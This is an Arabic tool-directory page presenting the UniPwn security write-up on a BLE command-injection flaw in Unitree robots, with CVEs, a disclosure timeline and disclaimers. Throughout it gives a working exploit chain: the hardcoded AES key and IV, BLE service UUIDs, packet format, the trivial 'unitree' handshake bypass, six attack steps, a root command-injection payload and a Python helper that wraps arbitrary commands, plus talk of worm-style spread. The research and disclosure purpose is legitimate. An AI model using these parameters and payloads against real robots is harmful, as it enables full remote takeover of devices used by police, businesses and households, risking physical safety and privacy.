Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
UniPwn — إطار عمل لاستغلال ثغرات BLE لروبوتات Unitree: حقن الأوامر عبر مفاتيح AES مبرمجة بشكل ثابت يتيح السيطرة الكاملة عن بُعد، وحقن الحمولات، والانتشار الشبيه بالديدان. | Kitploit
أدوات/GitHubGitHub/bin4ry/unipwn
أمن البلوتوثأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةأمان الأجهزة وإنترنت الأشياءتطوير الحمولات
GitHubbin4ry/unipwn

UniPwn

إطار عمل لاستغلال ثغرات BLE لروبوتات Unitree: حقن الأوامر عبر مفاتيح AES مبرمجة بشكل ثابت يتيح السيطرة الكاملة عن بُعد، وحقن الحمولات، والانتشار الشبيه بالديدان.

عرض المستودع
398725منذ 10 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تحليل حقن الأوامر في خدمة BLE لروبوت Unitree

Meme

المؤلف: Bin4ry المعروف أيضًا باسم Andreas Makris [[email protected]]
المؤلف المشارك: h0stile المعروف أيضًا باسم Kevin Finisterre
المساهم: legion1581 المعروف أيضًا باسم Konstantin Severov من theroboverse ساعد في إصلاح الـ payload المستخدم في الحقن وأثبت ذلك من خلال PoC يعمل بالكامل 🙂 شكرًا يا صديقي، كانت هذه مساهمة حاسمة ونحن نقدرها كثيرًا!

التاريخ: 20 سبتمبر 2025

CVEs

CVE-2025-35027
CVE-2025-60017
CVE-2025-60250
CVE-2025-60251

الورقة البحثية

البحث المستند إلى هذا المستودع مُدمج في ورقة بحثية تقدّم تقييمًا منهجيًا لأمان روبوت Unitree G1. ومع ذلك، فإن تأثير البحث لا يقتصر على G1 فحسب، بل يشمل خط إنتاج Unitree بالكامل بدءًا من سلسلة Go2. يبدو أن الكود الموجود على روبوتات Unitree الأحدث هو فرع (fork) من قاعدة أكواد Go2، مما يجعل سلالة Go1 وروبوتات Unitree الأخرى التي سبقت Go2 غير معرضة للخطر تحديدًا. ومع ذلك، فإن جميع الطرازات الحديثة متأثرة حاليًا. لم تصدر Unitree بعد نشرة استشارية توضح التأثير الدقيق عبر خط الإنتاج.

رابط الورقة البحثية: https://arxiv.org/abs/2509.14139
العنوان: Cybersecurity AI: Humanoid Robots as Attack Vectors
المؤلفون: Víctor Mayoral-Vilches, Andreas Makris, Kevin Finisterre```bibtex @misc{mayoralvilches2025cybersecurityaihumanoidrobots, title={Cybersecurity AI: Humanoid Robots as Attack Vectors}, author={Víctor Mayoral-Vilches and Andreas Makris and Kevin Finisterre}, year={2025}, eprint={2509.14139}, archivePrefix={arXiv}, primaryClass={cs.CR}, url={https://arxiv.org/abs/2509.14139}, }

root@kitploit:~
جدول المحتويات
=================

* [تحليل حقن الأوامر في خدمة BLE الخاصة بروبوت Unitree](#unitree-robot-ble-service-command-injection-analysis)
   * [نظرة عامة](#overview)
   * [اكتشاف خدمة BLE](#ble-service-discovery)
   * [هندسة عكسية للبروتوكول](#reverse-engineering-the-protocol)
   * [التعليمة 1: المصافحة "الآمنة"](#instruction-1-the-secure-handshake)
   * [التعليمة 2: الحصول على الرقم التسلسلي](#instruction-2-get-serial-number)
   * [التعليمة 3: تهيئة وضع Wi-Fi](#instruction-3-initialize-wifi-mode)
   * [التعليمة 4: تعيين SSID](#instruction-4-set-ssid)
   * [التعليمة 5: تعيين كلمة المرور](#instruction-5-set-password)
   * [التعليمة 6: تعيين رمز البلد (المشغّل!)](#instruction-6-set-country-code-the-trigger)
   * [سلسلة إعداد Wi-Fi](#the-wifi-setting-thread)
   * [الدالة القابلة للاستغلال: حقن الأوامر](#the-vulnerable-function-command-injection)
   * [ملخص تدفق الهجوم](#attack-flow-summary)
   * [التهديد القابل للانتشار كدودة](#the-wormable-threat)
   * [إثبات المفهوم](#proof-of-concept)
   * [الانتشار في العالم الحقيقي & الأثر](#real-world-deployment--impact)
      * [الانتشار الحالي](#current-deployments)
      * [تقييم الأثر](#impact-assessment)
      * [الأثر على إنفاذ القانون & الجيش](#law-enforcement--military-impact)
      * [بيئات الشركات](#corporate-environments)
      * [أثر المستهلك](#consumer-impact)
      * [انتشار الدودة](#wormable-propagation)
   * [التفاصيل التقنية](#technical-details)
      * [بنية خدمة BLE](#ble-service-architecture)
      * [المعلمات التشفيرية](#cryptographic-parameters)
      * [بنية الحزمة](#packet-structure)
   * [الدروس المستفادة](#lessons-learned)
   * [الجدول الزمني للإفصاح](#disclosure-timeline)
      * [المحاولة الأولى والأخيرة للإبلاغ عن مشكلة أمنية أخرى في روبوتاتكم الرئيسية G1 وGo2 وغيرها](#first-and-last-attempt-to-report-another-security-issue-in-your-flagship-g1-and-go2-and-other-bots)
   * [إخلاء مسؤولية](#disclaimer)
   * [نمط من المشكلات الأمنية](#a-pattern-of-security-issues)
   * [الخلاصة](#conclusion)
   * [إشعار قانوني](#legal-notice)
   * [المساهمة](#contributing)
   * [الترخيص والوصول إلى هذه الملفات](#licensing-and-access-to-these-files)


---

## نظرة عامة

خلال بحثنا الأمني على منصات Unitree الروبوتية، اكتشفنا ثغرة أمنية حرجة في واجهة إعدادات Wi-Fi عبر تقنية Bluetooth Low Energy (BLE). تؤثر هذه الثغرة على عدة طرازات من روبوتات Unitree بما في ذلك سلسلة Go2 وG1 وH1 وB2 حتى أحدث إصدار من البرنامج الثابت حتى اليوم [20 سبتمبر 2025].

**🎯 يمثل هذا أول إكسبلويت تم الإفصاح عنه علنًا يستهدف الروبوتات البشرية!**

تجمع الثغرة بين عدة مشكلات أمنية: مفاتيح تشفير مدمجة في الكود (hardcoded)، وتجاوز تافه للمصادقة، وحقن أوامر دون تنقية. ما يجعل هذا مثيرًا للقلق بشكل خاص هو أنها **قابلة للانتشار كدودة (wormable)** تمامًا - إذ يمكن للروبوتات المصابة اختراق روبوتات أخرى تلقائيًا ضمن نطاق BLE. تتيح هذه الثغرة للمهاجم السيطرة الكاملة على الجهاز.

نشرنا المفاتيح التشفيرية في يوليو [رابط التغريدة](https://x.com/Bin4ryDigit/status/1950566849072005304) لكن Unitree لم تكترث.

دعونا نتعمق في التفاصيل التقنية لكيفية اكتشافنا لهذه الثغرة واستغلالها.

## اكتشاف خدمة BLE

كانت الخطوة الأولى هي تحديد خدمات BLE التي تظهرها الروبوتات. جميع طرازات Unitree المتأثرة تعرض خدمة BLE مخصصة لإعداد Wi-Fi:```
Service UUID: 0000ffe0-0000-1000-8000-00805f9b34fb
Write Characteristic: 0000ffe2-0000-1000-8000-00805f9b34fb  
Notify Characteristic: 0000ffe1-0000-1000-8000-00805f9b34fb

هندسة البروتوكول العكسية

من خلال الهندسة العكسية، اكتشفنا أن الروبوت ينفذ مدير استقبال يعالج حزم BLE المشفرة. هذا ما وجدناه:

فك تشفير الحزم

يقوم مدير الاستقبال أولاً بفك تشفير الحزم الواردة باستخدام معاملات AES مضمّنة:```python AES_KEY = "df98b715d5c6ed2b25817b6f2554124a" AES_IV = "2841ae97419c2973296a0d4bdfe19a4f" Mode: AES-CFB128

root@kitploit:~
![Receive manager](https://assets.kitploit.com/production/public/readmes/49064/6f3e6d08a4d69e657e9d8d17f957dbaedf979c3629a109846390030c9fa783d2.png)

بعد فك التشفير، تتم معالجة الحزم بناءً على رموز التعليمات في بنية switch-case. دعنا نفحص كل تعليمة:

## التعليمة 1: المصافحة "الآمنة"

![Handshake instruction](https://assets.kitploit.com/production/public/readmes/49064/0edbe2419cb07586658a3811f515ab09e09dc9c5f204d557bfe6e1ee3f5243d5.png)

مصافحة "المصادقة" بسيطة بشكل مثير للسخرية:

![Handshake implementation](https://assets.kitploit.com/production/public/readmes/49064/7a0d0de452924790859fcf34ab81b103d531d8c9ffc970674ae6b5317448ce3e.png)

![Authentication flag](https://assets.kitploit.com/production/public/readmes/49064/88bb3cc9c24ac7b81d9c610b48755e677d4c026abd6b80f6ea2f585e576a94a2.png)

ببساطة، يتحقق الروبوت مما إذا كانت الحزمة المفكوكة تحتوي على السلسلة `"unitree"` كسر للمصافحة، ثم يضبط العلم `valid_incoming_user` إلى 1. هذه هي آلية "المصادقة" بأكملها!

## التعليمة 2: الحصول على الرقم التسلسلي

![Get serial number](https://assets.kitploit.com/production/public/readmes/49064/0eb1d8510ee261c31014befe56f453dbbbeefdef7c154021cf2a15697146a6bc.png)

تتحقق هذه التعليمة مما إذا كان المستخدم "مصادقًا" (أي أن العلم مضبوط)، ثم تقرأ ملف الرقم التسلسلي وتعيده. هذا يؤكد أن لدينا وصولًا إلى النظام.

## التعليمة 3: تهيئة وضع WiFi

تهيئ هذه التعليمة إعدادات WiFi. يمكن للمستخدمين الاختيار بين وضع AP (الأمر الفرعي = 1) أو وضع STA (الأمر الفرعي = 2):

![WiFi mode initialization](https://assets.kitploit.com/production/public/readmes/49064/774940d74f07bf14ad7168261b143ee4bd619388a7bed90e1ec4b2081bb876a2.png)

## التعليمة 4: تعيين SSID

تخزن هذه التعليمة SSID الخاص بشبكة WiFi. هذه أول نقطة حقن لدينا:

![Set SSID](https://assets.kitploit.com/production/public/readmes/49064/ed93fccd5c5f255d940911ca1f4e37fb93ca15a41fbfbdc1bcda8135feb091a9.png)

## التعليمة 5: تعيين كلمة المرور

على غرار أمر SSID، تخزن هذه التعليمة كلمة مرور WiFi. نقطة حقن أخرى:

![Set password](https://assets.kitploit.com/production/public/readmes/49064/18363e90f73974cd259ca2feb44c4241f7f1c7cbd375c5a8c6d14d89578d2a50.png)

## التعليمة 6: تعيين رمز الدولة (المشغّل!)

تعيّن هذه التعليمة رمز الدولة الخاص بـ WiFi، والأهم من ذلك، أنها تشغّل `WifiSettingThreadFunction`:

![Set country code](https://assets.kitploit.com/production/public/readmes/49064/01b5ea5104d45aa2ed8f3aec8f76c58ee45d55d09bd93b0a025c4fec169db46e.png)

عند تنفيذ التعليمة 6، يتم تشغيل سلسلة رسائل إعداد WiFi، مما يقودنا إلى الدوال الضعيفة.

## سلسلة رسائل إعداد WiFi

تستدعي سلسلة رسائل إعداد WiFi إما `restart_wifi_ap` أو `restart_wifi_sta` حسب الوضع:

![WiFi setting thread](https://assets.kitploit.com/production/public/readmes/49064/d2955ec5a5489cd5550768a02be5b4c7110e3317ea72af67a8e479d810c3d7b5.png)

## الدالة الضعيفة: حقن الأوامر

تتبع كل من الدالتين `restart_wifi_ap` (`hostapd_restart.sh`) و`restart_wifi_sta` (`wpa_supplicant_restart.sh`) النمط الضعيف نفسه.  
إليك الدليل القاطع (باستخدام دالة `restart_wifi_ap` كمثال):

![Vulnerable function](https://assets.kitploit.com/production/public/readmes/49064/67dbffbba6799ed151b97d74c725e8abf33c527a44614446a8637b01a2acb3d2.png)

تقوم الدالة ببناء هذا الأمر:```bash
sudo sh /unitree/module/network_manager/upper_bluetooth/hostapd_restart.sh "wifi_ssid wifi_pass"

ثم يتم تمرير هذا الأمر مباشرة إلى system() دون أي تحقق من صحة الإدخال أو تنظيفه!

إذا تحكمنا في أيٍّ من wifi_ssid أو wifi_pass، يمكننا حقن أوامرنا الخاصة. حمولة بسيطة مثل:```bash ";$(reboot -f);#

root@kitploit:~
سيكون كافياً لإعادة تشغيل الروبوت. لكن يمكننا فعل المزيد بكثير...

## ملخص تسلسل الهجوم

إليك التسلسل الكامل للهجوم الذي نحتاج إلى تنفيذه:

1. إرسال الحمولة المشفرة بـ AES "unitree" كبيانات للتعليمة 1
2. إرسال أمر get_sn وفك تشفير الاستجابة للتحقق من الوصول
3. إرسال init_wifi مع التعليمة الفرعية 1 (AP) أو 2 (STA)
4. تعيين wifi_ssid إلى حمولة الحقن الخاصة بنا مثل `";$(reboot -f);#`
5. تعيين wifi_pass إلى قيمة عشوائية
6. تعيين رمز الدولة الخاص بالواي فاي لتشغيل الخيط القابل للاستغلال

إذا نجح كل شيء، يجب أن ينفذ الروبوت أمرنا المحقون بصلاحيات الجذر.

## التهديد القابل للانتشار الذاتي

ما يجعل هذه الثغرة خطيرة بشكل خاص هو طبيعتها **القابلة للانتشار الذاتي** (wormable). بهذه الطريقة، يمكننا:

- تنفيذ أوامر عشوائية بصلاحيات الجذر
- نقل وتنفيذ البرمجيات الخبيثة عبر حقن الحمولة
- إجبار الروبوتات على الاتصال بشبكات WiFi يتحكم بها المهاجم
- إنشاء برمجيات خبيثة للروبوتات تنتشر ذاتياً وتُصيب الروبوتات القريبة

يمكن للروبوت المصاب ببساطة فحص الروبوتات الأخرى من نوع Unitree ضمن نطاق BLE واستغلالها تلقائياً، مما ينشئ شبكة بوتnet من الروبوتات تنتشر دون تدخل المستخدم.

## إثبات المفهوم

طوّرنا إطار عمل كامل لإثبات المفهوم يستغل هذه الثغرة. يتضمن الاستغلال:

- ماسح BLE وإطار استغلال مبني على Python
- حزمة Android APK (تمت مشاركتها سابقاً في 5 سبتمبر 2025 في قناة Slack للمختبرين عبر ملف zip محمي بكلمة مرور)
- حمولات جاهزة متعددة (تفعيل SSH، إعادة تشغيل النظام، أوامر مخصصة)
- دعم لجميع موديلات الروبوتات المتأثرة (Go2, G1, H1, B2, ...)

المكونات الأساسية لاستغلالنا العملي:```python
AES_KEY = bytes.fromhex("df98b715d5c6ed2b25817b6f2554124a")
AES_IV = bytes.fromhex("2841ae97419c2973296a0d4bdfe19a4f")
HANDSHAKE_CONTENT = "unitree"

def build_pwn(cmd):
    return f'";$({cmd});#'

Android App

يرجى ملاحظة أن إعادة التشغيل الكاملة للروبوت قد تستغرق 10-15 ثانية بعد إرسال الأمر ;)

النشر في العالم الحقيقي والتأثير

النشر الحالي

تُنشر روبوتات Unitree بالفعل في سيناريوهات حرجة في العالم الحقيقي، مما يجعل هذه الثغرة مثيرة للقلق بشكل خاص:

إنفاذ القانون: تختبر شرطة نوتنغهامشاير حاليًا روبوتات Unitree لسيناريوهات الاستجابة المسلحة، بما في ذلك:

  • حصارات مسلحة ومفاوضات رهائن
  • عمليات تفتيش المباني واستطلاع المناطق الخطرة
  • عمليات التصوير الحراري ورسم الخرائط ثلاثية الأبعاد
  • عمليات صامتة حيث تكون الطائرات المسيّرة صاخبة جدًا

العمليات العسكرية: تُستخدم روبوتات Unitree من قبل جيش التحرير الشعبي الصيني في التطبيقات العسكرية، مما يثير آثارًا أمنية كبيرة على العمليات الدفاعية.

تقييم التأثير

إن تداعيات هذه الثغرة خطيرة جدًا:

تأثير إنفاذ القانون والجيش

  • الأمن العملياتي: يمكن استخدام الروبوتات الشرطية/العسكرية المخترقة ضد مشغليها
  • جمع الاستخبارات: يمكن للمهاجمين الوصول إلى لقطات واتصالات عملياتية حساسة
  • تعريض المهام للخطر: يمكن تخريب العمليات الحرجة أو تسريب الاستخبارات
  • مضاعفة القوة: يمكن للجهات المعادية تحويل روبوتات الأمن إلى أصول مراقبة

بيئات الشركات

  • التجسس: يمكن للروبوتات تسجيل المحادثات أو سرقة المستندات أو رسم خرائط للمنشآت
  • التخريب: يمكن برمجة روبوتات التصنيع لإدخال عيوب
  • التنقل عبر الشبكة: تصبح الروبوتات المخترقة نقطة ارتكاز لاختراق شبكات الشركات

تأثير المستهلك

  • انتهاك الخصوصية: يمكن لروبوتات المنزل التجسس على العائلات
  • السلامة الجسدية: يمكن أن يؤدي التحكم الخبيث إلى سلوك خطير للروبوتات
  • برامج الفدية: يمكن احتجاز الروبوتات كرهائن حتى يتم دفع الفدية

الانتشار الدودي

  • البرامج الضارة ذاتية الانتشار يمكن أن تصيب أساطيل الروبوتات بأكملها
  • أي تفاعل من المستخدم غير مطلوب للانتشار
  • البنية التحتية الحرجة يمكن تسليح روبوتاتها

التفاصيل التقنية

بنية خدمة BLE

  • UUID الخدمة: 0000ffe0-0000-1000-8000-00805f9b34fb
  • خاصية الكتابة: 0000ffe2-0000-1000-8000-00805f9b34fb
  • خاصية الإشعار: 0000ffe1-0000-1000-8000-00805f9b34fb

المعلمات التشفيرية

  • الخوارزمية: AES-CFB128
  • المفتاح: df98b715d5c6ed2b25817b6f2554124a (مثبّت برمجيًا، نفسه في جميع الأجهزة)
  • IV: 2841ae97419c2973296a0d4bdfe19a4f (مثبّت برمجيًا، نفسه في جميع الأجهزة)

بنية الحزمة```

Encrypted([0x52, length, instruction, data, checksum])

root@kitploit:~
## الدروس المستفادة

يسلط هذا البحث الضوء على عدة مبادئ أمنية بالغة الأهمية:

- **لا تستخدم أبدًا مفاتيح مشفرة بشكل ثابت (hardcoded keys):** يجب أن يكون لكل جهاز مواد تشفير فريدة
- **الدفاع في العمق:** طبقات متعددة من الأمان تمنع نقاط الفشل الفردية
- **التحقق من المدخلات:** قم دائمًا بتنظيف مدخلات المستخدم، خاصة قبل استدعاءات النظام
- **اختبار الأمان:** يمكن للاختبار المنتظم للاختراق اكتشاف هذه المشكلات مبكرًا

## الجدول الزمني للإفصاح

حاولنا في البداية الإفصاح المسؤول لشركة Unitree بشأن هذه الثغرة:

- **اكتشاف الثغرة:** تم اكتشاف الثغرة في 14 أبريل 2025 بواسطة Andreas Makris (Bin4ry) ونوقشت في رسالة Slack الخاصة مع Kevin Finisterre (h0stile) وKonstantin Severov (legion1581).
![Discovery of Vulnerability](https://assets.kitploit.com/production/public/readmes/49064/9d9707ff936b690e30416d5cf42ead01dc28265e712c8a31feff66d73e170aeb.png)
- **تطوير PoC:** في 25 أبريل 2025، تمكن Konstantin Severov من إصلاح الحمولة الخاطئة التي كتبها Andreas وصياغة حمولة صحيحة قابلة للتنفيذ للحقن. وُلد أول PoC.
![Discovery of Vulnerability](https://assets.kitploit.com/production/public/readmes/49064/a4a549e1370470c91325c1cf3319b76756f5a798fa33eedc27bde3b639c8b802.png)
- **اكتشاف BLE غير الآمن:** بعد أن تحقق Konstantin من ثغرة الحقن، وجد Andreas المفاتيح الثابتة والمصادقة الضعيفة لـ BLE.
- **الاتصال الأولي:** تم إرسال رسائل بريد إلكتروني متعددة إلى قنوات الأمان والدعم في Unitree
- **مشكلات التواصل:** تمت إزالة أحد المؤلفين (Andreas Makris) بشكل متكرر من سلاسل البريد الإلكتروني دون تفسير
- **عدم الاستجابة:** لم تُظهر Unitree أي تفاعل أو اهتمام جوهري بمعالجة المشكلات الأمنية
- **النتيجة:** لم يتم تقديم أي إقرار أو جدول زمني للمعالجة

نظرًا لعدم استجابة Unitree وعدم اهتمامها الواضح بالقضايا الأمنية، **قرر Andreas Makris التوقف عن محاولات الإفصاح الخاص مع Unitree للثغرات المستقبلية**. سيتم الكشف عن أي مشكلات أمنية إضافية يتم اكتشافها علنًا دون إشعار مسبق للبائع.

يعكس هذا القرار عدم رغبة Unitree المثبتة في الانخراط البناء في المسائل الأمنية، وهو أمر مقلق بشكل خاص نظرًا لاستخدامها في سياقات إنفاذ القانون والسياقات العسكرية.

### المحاولة الأولى والأخيرة للإبلاغ عن مشكلة أمنية أخرى في روبوتاتكم الرئيسية G1 وGo2 والروبوتات الأخرى
(بمبادرة من Kevin Finisterre)

- **14 مايو 2025** — تمت محاولة الاتصال للإفصاح عبر [LinkedIn](https://www.linkedin.com/posts/kevin-finisterre-6431069a_fyi-unitree-robotics-is-being-given-an-opportunity-activity-7328446278852407296-qZB4) و[قضية GitHub #126](https://github.com/unitreerobotics/unitree_ros/issues/126) على الرغم من سنوات متعددة من تجاهل Unitree لمحاولات الإبلاغ الأخرى *من جانبنا* ومن زملائنا الباحثين.
-  
  تم إرسال بريد إلكتروني بعنوان *"أول وآخر محاولة للإبلاغ عن مشكلة أمنية أخرى في روبوتاتكم الرئيسية G1 وGo2 والروبوتات الأخرى"* إلى:  
  Tony Yang <[email protected]>, <[email protected]>, <[email protected]>, Laikago <[email protected]>, <[email protected]>, <[email protected]>, <[email protected]>, Xing <[email protected]>, XMath <[email protected]>, <[email protected]>, <[email protected]>, <[email protected]>, <[email protected]>
- اقترحت Unitree على الفور برنامج مكافآت محتمل في المستقبل، لكنه كان نقاشًا سابقًا لأوانه في ذلك الوقت.

- **28–29 مايو 2025** — بعد أسبوعين من مناقشة الافتقار العام لجدية Unitree فيما يتعلق بالأمن، تم إنشاء `[email protected]` كبادرة للجهد.
- 
  البريد الإلكتروني بعنوان *"الخطوات التالية... re: الإبلاغ عن ثغرة حرجة في Unitree G1"* سلط الضوء على غياب ممارسات الإفصاح، وتجاهل Darknavy والتقارير السابقة، واقترح إما عرضًا توضيحيًا شخصيًا مع بناء تصحيح أو روبوت معار (كما ترسله Unitree إلى المؤثرين). تم رفض كليهما، بما في ذلك عرض للقاء في ICRA.

- **8 يونيو 2025** — ردت Unitree: "التصحيح لـ Go1 'Zhexi' ذي الصلة، أصبح متاحًا بالفعل عبر الإنترنت في أبريل" مع الرابط <https://www.unitree.com/download/go1>، مضيفة أن "GitHub مخصص فقط لقضايا تشغيل المستودع. لذا بالنسبة للأمن السيبراني، نقترح استخدام الطرق الحالية." تضاءلت الردود بعد ذلك.

- **14–26 يونيو 2025** — ضغطنا عليهم بشأن شفافية الكود المرخص من MIT Cheetah؛ بدلاً من استخدام إجراءات التشفير، والتحكم في الوصول إلى مثيلات النظام الفرعي لينكس الخاص بهم لإخفاء الكود المستعار.
- جاء الرد في 26 يونيو: *"آسف على تأخري في الرد. لم أنسَ. أحتاج فقط إلى مزيد من الوقت."*
- في ذلك الوقت تقريبًا، نشرت Unitree إعلان وظيفة لموظفين أمنيين. [إعلان الوظيفة](https://m.zhipin.com/web/common/security-check.html?seed=F0HDtXiugDFyEi4Ap0g8%2FTu2hnxkObxC1s2HV5XA8%2Fw%3D&name=8955eed0&ts=1757704720826&callbackUrl=%2Fjob_detail%2F8f6b34a1ca755b4f03Fz2tq7EFVU.html&srcReferer)

- **18 يوليو 2025** — تم إرسال بريد إلكتروني بعنوان *"إذن... هل انتهينا هنا؟ لأنني على وشك الانتهاء هنا...."* بسبب الصمت وعدم إحراز تقدم في التفاوض حول حدود الإفصاح.

- **20 يوليو 2025** — اعترفت Unitree بوجود "ثغرات معروفة في G1" لدينا، لكنها زعمت أن معالجة النتائج المزعومة بإصلاحات "تتطلب تكرارًا كاملًا للنظام يستغرق *أرباعًا أو سنوات*،" وأشارت إلى بوابة أمنية عامة قادمة كمعلم رئيسي.

- **25 يوليو 2025** — أطلقت Unitree تسويق R1. بعد ذلك، لم يتم تلقي أي اتصالات أخرى.
- تم اتخاذ قرار بالإفصاح علنًا، وترك Unitree لترتيب الأمور وفق جدولها الزمني الخاص. لن يتم إجراء المزيد من محاولات الإفصاح للاكتشافات الجديدة.

- **2 سبتمبر 2025** — أعلنت Unitree عن هدف تقييم بقيمة 7 مليارات دولار أمريكي في طرح عام أولي قادم للربع الرابع من عام 2025.

## إخلاء المسؤولية

⚠️ **تحذير:** هذا الكود مخصص للأغراض التعليمية والبحثية فقط. لا تستخدمه على أجهزة لا تملكها.

## نمط من المشكلات الأمنية

هذه الثغرة ليست حادثة معزولة. كشفت الأبحاث السابقة التي أجريناها عن أنماط مقلقة في الممارسات الأمنية لشركة Unitree:

**CVE-2025-2894:** [اكتشف الباحثون بابًا خلفيًا في روبوتات سلسلة Go1 السابقة](https://takeonme.org/cves/cve-2025-2894/)، والذي زعمت Unitree لاحقًا أنه "كود متبقٍ." ومع ذلك، كما أشرنا نحن في تقرير Go1، سواء كان بابًا خلفيًا مقصودًا أو برمجة سيئة، فإن كلا السيناريوهين يشير إلى شركة لا تولي الأولوية للأمن.

الآن، في الجيل التالي من الروبوتات (Go2، G1، H1، B2)، نرى نفس الإخفاقات الأمنية الأساسية: مفاتيح ثابتة، ومصادقة تافهة، واستدعاءات نظام غير آمنة. يشير هذا إلى أن **Unitree لم تتعلم من المشكلات الأمنية السابقة** وما زالت تصدر منتجات بثغرات حرجة.

النمط واضح:
- **سلسلة Go1:** أبواب خلفية مخفية (CVE-2025-2894)
- **تقرير DarkNavy غير المعروف** "في GeekPwn 2022، قمنا... بالاتصال بـ Unitree للإفصاح المسؤول (لكننا لم نتلق أي رد)"
- **سلسلة Go2/G1/H1/B2:** حقن أوامر عبر BLE (هذا البحث)

بالنسبة لشركة تنشر روبوتات في سياقات إنفاذ القانون والسياقات العسكرية، فإن هذا المستوى من الإهمال الأمني غير مقبول.

## الخاتمة

إن الجمع بين المفاتيح المشفرة الثابتة، وتجاوز المصادقة التافه، وحقن الأوامر يخلق عاصفة مثالية للاستغلال الواسع النطاق. إن الطبيعة القابلة للانتشار (wormable) لهذه الثغرة تجعلها خطيرة بشكل خاص في البيئات التي تحتوي على روبوتات متعددة.

نظرًا لسجل Unitree الحافل بالمشكلات الأمنية ونشرها في سيناريوهات حرجة لإنفاذ القانون والسيناريوهات العسكرية، يلزم اتخاذ إجراء فوري لمعالجة هذه الإخفاقات الأمنية المنهجية.

لقد اتبعنا ممارسات الإفصاح المسؤول ونعمل مع Unitree لمعالجة هذه المشكلات. هذا البحث مخصص للأغراض التعليمية والدفاعية فقط.

---

## إشعار قانوني

⚖️ تم إجراء هذا البحث على معدات مملوكة قانونيًا لأغراض تعليمية وبحثية أمنية. أي استخدام لهذه المعلومات لأغراض ضارة محظور تمامًا وقد ينتهك القوانين المعمول بها.

تذكر: القوة العظيمة تأتي مع مسؤولية عظيمة! استخدم هذه المعرفة لبناء أنظمة أفضل وأكثر أمانًا!

## المساهمة

إذا وجدت مشكلات أو تحسينات إضافية، فلا تتردد في تقديم طلب سحب (pull request) أو فتح مشكلة (issue).

## الترخيص والوصول إلى هذه الملفات
تم إصدار هذه الملفات بموجب ترخيص المشاع الإبداعي [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/).
<p align="left">
  <img src="https://assets.kitploit.com/production/public/readmes/49064/29490d1f406beb842255421807acdf0e4327f9cdf7547041398560fd7452a5ea.png">
</p>

يمنحك هذا الترخيص حقوقًا محددة، لكنها محدودة، لاستخدام هذه الملفات.
<p align="left">
  <img src="https://assets.kitploit.com/production/public/readmes/49064/00bb7938b330aa21407316a9f3d62fdad4e502fddc76237f7ae4e6b518386dcb.png">
</p>

[رخصة المشاع الإبداعي نسب المصنف - غير تجاري - الترخيص بالمثل 4.0 الدولية](https://creativecommons.org/licenses/by-nc-sa/4.0/legalcode.en)

أنت حر في:<br>
المشاركة — نسخ وإعادة توزيع المواد في أي وسيط أو صيغة<br>
التعديل — إعادة المزج والتحويل والبناء على المواد<br>

لا يمكن للمرخِّص إلغاء هذه الحريات طالما التزمت بشروط الترخيص.<br>

بموجب الشروط التالية:<br>
نسب المصنف — يجب عليك منح الائتمان المناسب، وتوفير رابط للترخيص، والإشارة إلى ما إذا تم إجراء تغييرات. يمكنك القيام بذلك بأي طريقة معقولة، ولكن ليس بأي طريقة توحي بأن المرخِّص يؤيدك أو يؤيد استخدامك.<br>

غير تجاري — لا يجوز لك استخدام المواد لأغراض تجارية.<br>

الترخيص بالمثل — إذا قمت بإعادة مزج المواد أو تحويلها أو البناء عليها، يجب عليك توزيع مساهماتك بموجب نفس ترخيص الأصل.<br>

لا قيود إضافية — لا يجوز لك تطبيق شروط قانونية أو تدابير تكنولوجية تقيد الآخرين قانونًا من القيام بأي شيء يسمح به الترخيص.<br>

إشعارات: يرجى قراءة [تفسير المشاع الإبداعي للاستخدام غير التجاري](https://wiki.creativecommons.org/wiki/NonCommercial_interpretation) لمزيد من المعلومات حول الترخيص.<br>

هذا يعني مباشرة أنه لا يمكنك فرض رسوم مقابل الوصول إلى هذه الملفات، ولا يمكنك إضافتها إلى منصة استغلال الثغرات التجارية الخاصة بك، أو وضعها خلف جدار للدفع، لأنك لا تملك الإذن بذلك صراحةً، بل إنك في الواقع ممنوع منعًا باتًا من القيام بذلك دون عواقب قانونية محتملة.

تتم مشاركة هذا البحث لأغراض تعليمية. يرجى استخدامه بمسؤولية.
تنزيل الأداة